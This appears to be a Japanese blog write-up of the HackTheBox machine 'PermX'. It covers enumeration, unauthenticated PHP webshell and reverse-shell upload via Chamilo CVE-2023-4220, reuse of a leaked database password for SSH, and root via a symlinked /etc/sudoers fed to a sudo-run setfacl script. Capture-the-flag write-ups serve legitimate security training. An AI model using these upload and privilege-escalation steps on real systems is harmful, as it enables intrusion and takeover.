1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【HackTheBox】PermX :Writeup

Posted at

概要

HackTheBox「PermX 」のWriteupです。

User Flag

ポートスキャンを実行します。

$ nmap -Pn -sV -T4 -A -sC -p- 10.10.11.23 -oN nmap_result
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
|_  256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://permx.htb
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 8.9p1
80 http Apache httpd 2.4.52

80番ポートでアクセスするとホスト名がpermx.htbだと分かったので/etc/hostsファイルに追記します。

$ cat /etc/hosts
10.10.11.23     permx.htb

Webサイトにアクセスできました。

home page.png

ディレクトリの列挙を行います。

$ dirsearch -u http://permx.htb/
[11:25:35] 301 -  303B  - /js  ->  http://permx.htb/js/
[11:25:58] 200 -    3KB - /404.html
[11:26:02] 200 -    4KB - /about.html
[11:26:39] 200 -    3KB - /contact.html
[11:26:41] 301 -  304B  - /css  ->  http://permx.htb/css/
[11:26:59] 301 -  304B  - /img  ->  http://permx.htb/img/
[11:27:03] 200 -  448B  - /js/
[11:27:05] 200 -  491B  - /lib/
[11:27:05] 301 -  304B  - /lib  ->  http://permx.htb/lib/
[11:27:06] 200 -  649B  - /LICENSE.txt

/libにはこのWebサイトで使用されているJavaScriptのライブラリファイルがあります。

lib dir.png

/LICENSE.txtやフッターの情報からHTML Codexが使用されていると分かります。

サブドメインの列挙を行います。

$ ffuf -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.permx.htb" -u http://permx.htb/ -fc 302 -o PermX/ffuf_subdomain_list
www                     [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 272ms]
lms                     [Status: 200, Size: 19347, Words: 4910, Lines: 353, Duration: 315ms]

/etc/hostsファイルにサブドメインを追記します。

$ cat /etc/hosts
10.10.11.23     permx.htb www.permx.htb lms.permx.htb

www.permx.htbpermx.htbと同様のページが表示されました。
一応ディレクトリの列挙を行いましたが、permx.htbと同様の結果が出ました。

$ dirsearch -u http://www.permx.htb/
[20:36:11] 301 -  311B  - /js  ->  http://www.permx.htb/js/ 
[20:36:39] 200 -    3KB - /404.html
[20:36:44] 200 -    4KB - /about.html
[20:37:43] 200 -    3KB - /contact.html
[20:37:46] 301 -  312B  - /css  ->  http://www.permx.htb/css/
[20:38:10] 301 -  312B  - /img  ->  http://www.permx.htb/img/
[20:38:17] 200 -  451B  - /js/
[20:38:19] 301 -  312B  - /lib  ->  http://www.permx.htb/lib/
[20:38:19] 200 -  494B  - /lib/
[20:38:20] 200 -  649B  - /LICENSE.txt

/lms.permx.htbへアクセスするとポータルのログイン画面が表示されました。

lms login form.png

学習管理システムのChamilo lmsを使用していることや、フッターから管理者のDavis Millerが分かりました。

lms.permx.htbのディレクトリの列挙を行います。

$ dirsearch -u http://lms.permx.htb/
[20:40:18] 200 -   46B  - /.bowerrc
[20:40:19] 200 -    2KB - /.codeclimate.yml
[20:40:36] 200 -    3KB - /.scrutinizer.yml
[20:40:40] 200 -    4KB - /.travis.yml
[20:41:28] 301 -  312B  - /app  ->  http://lms.permx.htb/app/
[20:41:29] 200 -  719B  - /app/
[20:41:29] 200 -  642B  - /app/cache/
[20:41:29] 200 -  407B  - /app/logs/
[20:41:30] 200 -  101KB - /app/bootstrap.php.cache
[20:41:37] 200 -  455B  - /bin/
[20:41:37] 301 -  312B  - /bin  ->  http://lms.permx.htb/bin/
[20:41:39] 200 -    1KB - /bower.json
[20:41:47] 200 -    7KB - /composer.json
[20:41:51] 200 -    5KB - /CONTRIBUTING.md
[20:41:52] 200 -  587KB - /composer.lock
[20:42:00] 301 -  322B  - /documentation  ->  http://lms.permx.htb/documentation/
[20:42:00] 200 -    1KB - /documentation/
[20:42:07] 200 -    2KB - /favicon.ico
[20:42:19] 200 -    4KB - /index.php
[20:42:20] 200 -    4KB - /index.php/login/
[20:42:27] 200 -  842B  - /license.txt
[20:42:27] 200 -   34KB - /LICENSE
[20:42:32] 301 -  313B  - /main  ->  http://lms.permx.htb/main/
[20:42:32] 200 -   97B  - /main/
[20:43:02] 200 -    8KB - /README.md
[20:43:05] 200 -  403B  - /robots.txt
[20:43:17] 200 -  444B  - /src/
[20:43:17] 301 -  312B  - /src  ->  http://lms.permx.htb/src/
[20:43:31] 302 -    0B  - /user.php  ->  whoisonline.php
[20:43:33] 200 -    1KB - /vendor/
[20:43:34] 200 -    0B  - /vendor/autoload.php
[20:43:34] 200 -    0B  - /vendor/composer/autoload_psr4.php
[20:43:34] 200 -    0B  - /vendor/composer/autoload_files.php
[20:43:34] 200 -    0B  - /vendor/composer/ClassLoader.php
[20:43:34] 200 -    0B  - /vendor/composer/autoload_namespaces.php
[20:43:34] 200 -    0B  - /vendor/composer/autoload_static.php
[20:43:34] 200 -    1KB - /vendor/composer/LICENSE
[20:43:34] 200 -    0B  - /vendor/composer/autoload_real.php
[20:43:35] 200 -    0B  - /vendor/composer/autoload_classmap.php
[20:43:38] 200 -  531KB - /vendor/composer/installed.json
[20:43:38] 200 -    6KB - /web.config
[20:43:39] 200 -  479B  - /web/

/README.mdを見るとChamilo 1.11.xを使用していると分かりました。

README.md
# Chamilo 1.11.x

![PHP Composer](https://github.com/chamilo/chamilo-lms/workflows/PHP%20Composer/badge.svg?branch=1.11.x)
[![Scrutinizer Code Quality](https://scrutinizer-ci.com/g/chamilo/chamilo-lms/badges/quality-score.png?b=1.11.x)](https://scrutinizer-ci.com/g/chamilo/chamilo-lms/?branch=1.11.x)

searchsploitで脆弱性を検索するといくつかヒットしました。

$ searchsploit chamilo 1.11
----------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                     |  Path
----------------------------------------------------------------------------------- ---------------------------------
Chamilo LMS 1.11.14 - Account Takeover                                             | php/webapps/50694.txt
Chamilo LMS 1.11.14 - Remote Code Execution (Authenticated)                        | php/webapps/49867.py
Chamilo LMS 1.11.8 - 'firstname' Cross-Site Scripting                              | php/webapps/45536.txt
Chamilo LMS 1.11.8 - Cross-Site Scripting                                          | php/webapps/45535.txt
----------------------------------------------------------------------------------- ---------------------------------

Metasploitで検索すると一件ヒットしたので攻撃を試みます。

msf6 > search chamilo 1.11

Matching Modules
================

   #  Name                                                  Disclosure Date  Rank       Check  Description
   -  ----                                                  ---------------  ----       -----  -----------
   0  exploit/linux/http/chamilo_unauth_rce_cve_2023_34960  2023-06-01       excellent  Yes    Chamilo unauthenticated command injection in PowerPoint upload

この攻撃は失敗しました。

msf6 exploit(linux/http/chamilo_unauth_rce_cve_2023_34960) > exploit

[*] Started reverse TCP handler on 10.10.14.158:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 10.10.11.23:80 can be exploited.
[-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. No valid response received from the target. "set ForceExploit true" to override check result.
[*] Exploit completed, but no session was created.

より詳細なバージョン情報を得る必要があります。
/documentation/changelog.htmlを見ると、最終更新が1.11.24だと分かりました。

chamilo change log.png

1.11.24で脆弱性を検索するとCVE-2023-4220がヒットしました。

下記のレポジトリを参考に実際に悪用できるか確認します。

アップロードするPHPファイルを作成します。

$ echo '<?php system("whoami"); ?>' > dollarboysushil.php

作成したPHPファイルをアップロードします。

$ curl -F 'bigUploadFile=@dollarboysushil.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
The file has successfully been uploaded.

/main/inc/lib/javascript/bigupload/files/dollarboysushil.phpへアクセスするとRCEが成功したと分かりました。

rce success.png

Kaliに入っているPHPのリバースシェルファイル、/usr/share/webshells/php/php-reverse-shell.phpをIPなど自身のものに編集してアップロードします。

$ curl -F 'bigUploadFile=@php-reverse-shell.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'  
The file has successfully been uploaded.

Netcatで待ち受けをし、/main/inc/lib/javascript/bigupload/files/dollarboysushil.phpへアクセスするとwww-dataのシェルを取得できました。

$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.158] from (UNKNOWN) [10.10.11.23] 56148
Linux permx 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 12:44:04 up  1:05,  4 users,  load average: 1.39, 0.94, 1.02
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

ターゲットマシンにmtzユーザーが存在すること、/home/mtzへはアクセス権がないと分かりました。

ls -l /home
total 4
drwxr-x--- 8 mtz mtz 4096 Jul  9 12:47 mtz

chamiloアプリ内で認証情報を探します。
最初に、/var/www/chamilo/.travis.ymlを発見しました。
MySQLの存在やDB名、ユーザー名などを確認できました。

/var/www/chamilo/.travis.yml

(省略)

# Install chamilo
- php -d date.timezone="Europe/Paris" $TRAVIS_BUILD_DIR/chash/chash.php chash:chamilo_install $CHAMILO_VERSION $TRAVIS_BUILD_DIR --no-interaction --sitename="Chamilo" --site_url="http://$VHOST_URL/" --institution="Chamilo" --institution_url="https://chamilo.org" --encrypt_method="sha1" --firstname="John" --lastname="Doe" --language="english" --driver="pdo_mysql" --host="localhost" --port="3306" --dbname="chamilo" --dbuser="root" --permissions_for_new_directories="0777" --permissions_for_new_files="0666" --linux-user="www-data" --linux-group="www-data" --username="admin" --password="admin" --email="admin@example.com" --phone="555-5555"

次に、/var/www/chamilo/app/config/configuration.phpにMySQLの認証情報を発見しました。

/var/www/chamilo/app/config/configuration.php

(省略)

// Database connection settings.
$_configuration['db_host'] = 'localhost';
$_configuration['db_port'] = '3306';
$_configuration['main_database'] = 'chamilo';
$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
// Enable access to database management for platform admins.
$_configuration['db_manager_enabled'] = false;

パスワードがハッシュ化されているのでアルゴリズムを調べると、Cisco-PIX(MD5)の可能性が高いと分かりました。

$ hashid "03F6lY3uXAP2bkW8"
Analyzing '03F6lY3uXAP2bkW8'
[+] Cisco-PIX(MD5) 
[+] Cisco-ASA(MD5)

しかしハッシュ値の解読には至りませんでした。
この情報を使用してDB情報の閲覧を試みました。
DBを参照するPHPコードを脆弱性を利用してアップロードし、実行させます。
chamiloデータベースのuserテーブルからWebアプリケーションのアカウント情報を取得できました。

sql user table.png

password salt.png

パスワードとソルトを得られたのでハッシュ値の解読を試みましたが、これも失敗に終わりました。
視点を変え、得られたパスワード03F6lY3uXAP2bkW8を使用して、mtzアカウントへSSH接続を試みると成功しました。

$ ssh mtz@permx.htb
mtz@permx:~$

/home/mtz/user.txtからユーザーフラグを入手できます。

/home/mtz/user.txt
792770bf9e4a91c44f674543242a867e

Root Flag

sudo -lを実行すると/opt/acl.shが実行可能だと分かりました。
このスクリプトを悪用して権限昇格が出来そうです。

$ sudo -l
Matching Defaults entries for mtz on permx:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User mtz may run the following commands on permx:
    (ALL : ALL) NOPASSWD: /opt/acl.sh

/opt/acl.shは編集権限がないと分かりました。

$ ls -l /opt/acl.sh 
-rwxr-xr-x 1 root root 419 Jun  5 11:58 /opt/acl.sh

/opt/acl.shの内容を確認すると/usr/bin/setfaclを利用してアクセス権の制御を行っていると分かります。
条件として対象のファイルが/home/mtz配下であること、..などを利用して親ファイルを参照していないことが分かりました。

#!/bin/bash

if [ "$#" -ne 3 ]; then
    /usr/bin/echo "Usage: $0 user perm file"
    exit 1
fi

user="$1"
perm="$2"
target="$3"

if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
    /usr/bin/echo "Access denied."
    exit 1
fi

# Check if the path is a file
if [ ! -f "$target" ]; then
    /usr/bin/echo "Target must be a file."
    exit 1
fi

/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"

このことから、対象のファイルは/home/mtz配下に作成する必要があります。
/etc/sudoersへのシンボリックリンクを/home/mtz配下に作成します。

$ ln -s /etc/sudoers sudo

そして作成したリンボリックリンク/home/mtz/sudoを対象に/opt/acl.shを実行します。

$ sudo /opt/acl.sh mtz wrx /home/mtz/sudo

すると/etc/sudoersに権限を付与することに成功しました。

-r--rwx---+ 1 root root 1711 Jul 10 07:18 /etc/sudoers

/etc/sudoersを編集し、全てのコマンドをパスワードなしでrootで実行できるようにします。

(省略)

mtz ALL=(ALL:ALL) NOPASSWD: ALL

これでrootアカウントへ昇格できました。

$ sudo su
root@permx:/home/mtz#

/root/root.txtからフラグを入手できます。

/root/root.txt
78b285886904558cf8f91fd7173e33b8
1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?